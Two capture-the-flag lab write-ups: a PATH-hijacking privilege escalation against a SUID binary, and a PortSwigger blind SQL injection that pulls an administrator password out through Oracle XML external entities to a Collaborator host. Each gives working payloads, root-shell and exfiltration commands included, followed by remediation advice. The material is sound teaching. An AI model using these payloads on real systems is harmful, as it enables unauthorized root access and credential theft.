TL;DR

• Target/Lab: Berlin's Locker, a 250-point exploitation challenge from the authorized Synchrony CTF R2 / Operation Red Cipher lab environment. Initial access was an SSH shell as tokyo.
• Vulnerability class: SUID binary executing an external command by relative name (execvp("backup", ...)), enabling PATH hijacking — CWE-426, Untrusted Search Path.
• Root cause: A root-owned helper resolves backup through the caller's PATH, so an unprivileged user can place a malicious backup earlier in the search order and have it run with effective UID 0.

Reconnaissance & Enumeration

The challenge handed me an SSH shell as tokyo, UID 1000, with no privileged group memberships. The only way forward was local privilege escalation.

My first check was the usual one. There was no sudo binary at all, which removed the easy path and told me to look for misconfigured file permissions instead.

tokyo@container:/$ id
uid=1000(tokyo) gid=1000(tokyo) groups=1000(tokyo)

tokyo@container:/$ sudo -l
bash: sudo: command not found
# <-- key signal: no sudo, so escalation must come from SUID or capabilities

I enumerated SUID files across the filesystem and filtered the noise. Most results were stock utilities — mount, passwd, su, chsh — that are expected to be SUID.

One entry did not belong: /usr/local/bin/lockerctl. A custom binary in /usr/local/bin, owned by root, with the SUID bit set, is almost always the intended target.

tokyo@container:/$ find / -perm -u=s -type f 2>/dev/null
/usr/local/bin/lockerctl   # <-- key signal: custom SUID binary, not a distro default
/usr/bin/mount
/usr/bin/passwd
/usr/bin/su
/usr/bin/chfn

I ran it once to see the interface. With missing arguments it printed usage text for a single rotate action that takes a log path.

tokyo@container:/$ stat -c '%A %U %n' /usr/local/bin/lockerctl
-rwsr-xr-x root /usr/local/bin/lockerctl   # <-- key signal: SUID root
tokyo@container:/$ /usr/local/bin/lockerctl
# usage text: lockerctl rotate <logfile>
# <-- key signal: one `rotate` action accepts an attacker-supplied path

A log rotation helper that runs as root and accepts a path is a promising shape. The question was whether it validated that path, and whether it passed the path to anything else.

Exploitation Walkthrough

I copied the binary off the container with scp and opened it in Ghidra. Static analysis was faster than guessing at runtime behavior.

scp -P 2221 tokyo@TARGET-HOST:/usr/local/bin/lockerctl .
# <-- key signal: pull the SUID binary to the analysis VM, never patch it in place

The decompiled main was small. It required exactly two arguments, compared the first against rotate, and checked that the second began with /opt/lockers/logs/.

if (param_1 == 3 && strcmp(argv[1], "rotate") == 0) {
    if (strncmp(argv[2], "/opt/lockers/logs/", 0x11) == 0) {
        local_28 = "backup";
        execvp("backup", &local_28);   // <-- key signal: relative name, PATH search
    }
}

That prefix check is a real restriction on which file can be rotated, but it says nothing about which program performs the rotation. The execvp call resolves backup using the environment's PATH.

Because the binary is SUID root, the process keeps euid=0 across execvp. Any backup earlier in PATH than the real one runs with root's effective UID.

My first exploit was a one-liner. I wrote bash -p into /tmp/backup, made it executable, prepended /tmp to PATH, and triggered the binary.

tokyo@container:/tmp$ echo "bash -p" > backup
tokyo@container:/tmp$ chmod 777 backup
tokyo@container:/tmp$ export PATH=/tmp:$PATH
tokyo@container:/tmp$ /usr/local/bin/lockerctl rotate /opt/lockers/logs/heist.log
tokyo@container:/tmp$ whoami
tokyo
# <-- FAILED: still UID 1000, no elevated shell

No error, no shell, no root. The binary had clearly executed something, but the privilege was gone by the time my command ran.

The problem was the missing shebang. Without an interpreter line, execvp fell back to /bin/sh to run the file, and that shell dropped the elevated effective UID before it reached the inner bash -p.

The fix was to declare the interpreter explicitly and pass -p on that line, so the shell is started in privileged mode from the very first instruction.

#!/bin/bash -p
cat /root/flag.txt
/bin/bash -p
# <-- key signal: -p on the shebang preserves euid=0 for the whole script

I transferred the corrected script, made it executable, and confirmed resolution order before triggering anything. which backup returning /tmp/backup is the proof that the hijack is in place.

tokyo@container:/tmp$ chmod +x backup
tokyo@container:/tmp$ export PATH=/tmp:$PATH
tokyo@container:/tmp$ which backup
/tmp/backup        # <-- key signal: PATH resolves to my script, not the system backup
tokyo@container:/tmp$ /usr/local/bin/lockerctl rotate /opt/lockers/logs/heist.log

The script ran as root. The flag printed, and the trailing /bin/bash -p left me in a shell with euid=0 while the real UID stayed 1000.

bash-5.1# id
uid=1000(tokyo) gid=1000(tokyo) euid=0(root) groups=1000(tokyo)
# <-- key signal: euid 0 confirms SUID privilege survived the exec chain

I read /root/flag.txt and then the challenge key at /opt/mint/key.txt, both redacted here. The key file was group-readable by lockers with mode 0440, which is why root was required.

One operational detail mattered: I did not overwrite the real backup binary. The hijack only works because /tmp precedes the system directories in PATH, and the SUID binary inherits that environment from my shell.

Root Cause & Remediation Patch

The flaw is not the path prefix check. That check does what it claims. The flaw is that a privileged program delegates work to a command name it does not control.

execvp("backup", ...) performs a PATH lookup using the caller's environment. In a SUID context, the caller is unprivileged and the lookup result is attacker-controlled.

The direct patch is execv with an absolute path. The program should also reset PATH and clear loader variables before executing anything, in case a future code path reintroduces a relative lookup.

const char *safe_path = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin";
setenv("PATH", safe_path, 1);
unsetenv("LD_PRELOAD");
unsetenv("LD_LIBRARY_PATH");

char *const args[] = {"/usr/bin/backup", logfile, NULL};
execv("/usr/bin/backup", args);   // <-- key signal: absolute path, no PATH search

Absolute paths are necessary but not sufficient. A root helper that shells out to another program still inherits a broad attack surface, including argument injection into that program.

• Prefer implementing the rotation in-process instead of spawning backup.
• If an external command is unavoidable, drop privileges with setuid(getuid()) and setgid(getgid()) before exec.
• Replace SUID with a narrowly scoped sudoers rule or a systemd unit, so the privileged action is auditable and bounded.
• Audit every exec* call in SUID code for relative names, and alert on SUID binaries that spawn shells.

The lesson I took from this challenge is that privilege escalation often hides in a single function argument. The prefix check looked careful, the binary was small, and the bug was still one word: execvp instead of execv.

TL;DR

• Target/Lab: PortSwigger Web Security Academy, Blind SQL injection with out-of-band data exfiltration — Practitioner, CWE-89, solved in an authorized lab instance.
• Vulnerability class: Blind SQL injection in the TrackingId cookie, escalated to out-of-band data exfiltration through Oracle EXTRACTVALUE and xmltype external entities.
• Root cause: The cookie value is concatenated into a SQL statement, and the database account can invoke XML parsing functions that resolve attacker-controlled external entities over the network.

Reconnaissance & Enumeration

The application exposed a single obvious state carrier: a TrackingId cookie set on the homepage. I intercepted the request in Burp Suite and replayed it through Repeater, changing only that value.

The response body never changed. No error, no stack trace, no difference in content length. That ruled out error-based and UNION-based feedback and put me in blind territory.

The sibling interaction lab had already established that TrackingId was the injectable parameter, so I did not spend time re-fuzzing every header. The open question was whether this instance's database host could reach an external listener at all.

GET / HTTP/1.1
Host: LAB-INSTANCE.web-security-academy.net
Cookie: TrackingId=abc; session=[REDACTED]
Connection: close
# <-- key signal: TrackingId is the only user-controlled value that reaches the query

Boolean and time-based techniques were still on the table. I chose out-of-band because the lab targeted Oracle, and the cookie sat in a string context where a subquery could be concatenated into the value passed to an XML parser.

I generated a Collaborator subdomain from the Burp Collaborator tab. The first test was a plain interaction, not exfiltration, to verify the database host could reach the internet at all.

h' UNION SELECT EXTRACTVALUE(
  xmltype('<?xml version="1.0"?><!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://COLLABORATOR-SUBDOMAIN.oastify.com/">
    %remote;]>'),'/l') FROM dual--
# <-- key signal: DNS/HTTP hit from the DB host proves egress + XML entity resolution

Collaborator logged a DNS lookup and an HTTP request shortly after. That confirmed three things at once: the cookie was injectable, the query ran as an Oracle user with access to EXTRACTVALUE, and the database server could resolve arbitrary hostnames.

Any one of those failing would have forced a different path. With all three present, the remaining problem was packaging data into the outbound request.

Exploitation Walkthrough

My first exfiltration attempt looked reasonable on paper. I placed the password subquery directly inside the XML document string, expecting the parser to evaluate it.

h' UNION SELECT EXTRACTVALUE(
  xmltype('<?xml version="1.0"?><!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://"||(SELECT password FROM users
      WHERE username='administrator')||".COLLABORATOR-SUBDOMAIN.oastify.com/">
    %remote;]>'),'/l') FROM dual--
# <-- FAILED: the SELECT sits inside a quoted string literal

No callback. The reason is simple once stated plainly: everything between the outer quotes passed to xmltype() is a string literal. The SQL parser does not look inside a quoted string and evaluate || or SELECT; it sees characters.

The || operator was being treated as literal text in the URL, so the entity resolved to a malformed hostname containing spaces and parentheses. DNS never saw a valid label.

The fix was to move the concatenation outside the literal. I closed the string, concatenated the scalar subquery at SQL level, then reopened the string.

'||(SELECT EXTRACTVALUE(
  xmltype('<?xml version="1.0"?><!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users
      WHERE username='administrator')||'.COLLABORATOR-SUBDOMAIN.oastify.com/">
    %remote;]>'),'/l') FROM dual)||'
# <-- key signal: '|| closes, subquery evaluates, ||' reopens around the finished URL

Execution order matters here. SQL builds one complete string first, xmltype() parses the finished document second, and the XML parser resolves the external entity third. By the time the parser runs, the password is already part of the URL.

I sent the rebuilt payload through Repeater and polled Collaborator. The DNS interaction arrived with the password prepended to the Collaborator hostname.

DNS lookup:
  [REDACTED-PASSWORD].COLLABORATOR-SUBDOMAIN.oastify.com
# <-- key signal: first label is the exfiltrated value, not a random token

The extracted credential was the administrator password. I used it against the login form, reached the admin panel, and the lab marked itself solved.

A few details are worth recording because they cost me time. Oracle requires FROM dual on every scalar SELECT, including the nested one. The concatenation must sit at the SQL layer, not inside the SYSTEM value. And EXTRACTVALUE is only the trigger — the actual network call is performed by the XML parser resolving %remote;.

If the target data contains @, /, or \, DNS labels break. TRANSLATE() can sanitize the value before it reaches the hostname, at the cost of losing fidelity.

Root Cause & Remediation Patch

The application built SQL by string concatenation. The TrackingId cookie was pasted into a query, so a quote in the cookie became a quote in the statement, and the rest of the payload became SQL grammar.

The patch is a parameterized query, not input filtering. The value must travel as a bound parameter so the parser never reinterprets it as syntax.

// Vulnerable
String sql = "SELECT tracking FROM visits WHERE id = '" + trackingId + "'";

// Patched
String sql = "SELECT tracking FROM visits WHERE id = ?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setString(1, trackingId);
# <-- key signal: the cookie is data, never part of the statement text

Parameterization alone closes the injection. It does not close the exfiltration channel if an attacker finds another way to influence XML parsing, so I would add two layers behind it.

• Revoke EXECUTE on EXTRACTVALUE, XMLTYPE, UTL_HTTP, and UTL_INADDR from the application schema; grant only to a dedicated, audited account if a feature genuinely needs them.
• Block outbound DNS and HTTP from database subnets at the firewall, with an allowlist for named internal resolvers.
• Log and alert on EXTRACTVALUE/XMLTYPE calls containing DOCTYPE or ENTITY strings, which have almost no legitimate use in application queries.

The deeper lesson is that blind injection is not a dead end. When the response channel is closed, attackers look for a second channel the database already owns — DNS. Egress control is what turns a data breach into a failed lookup.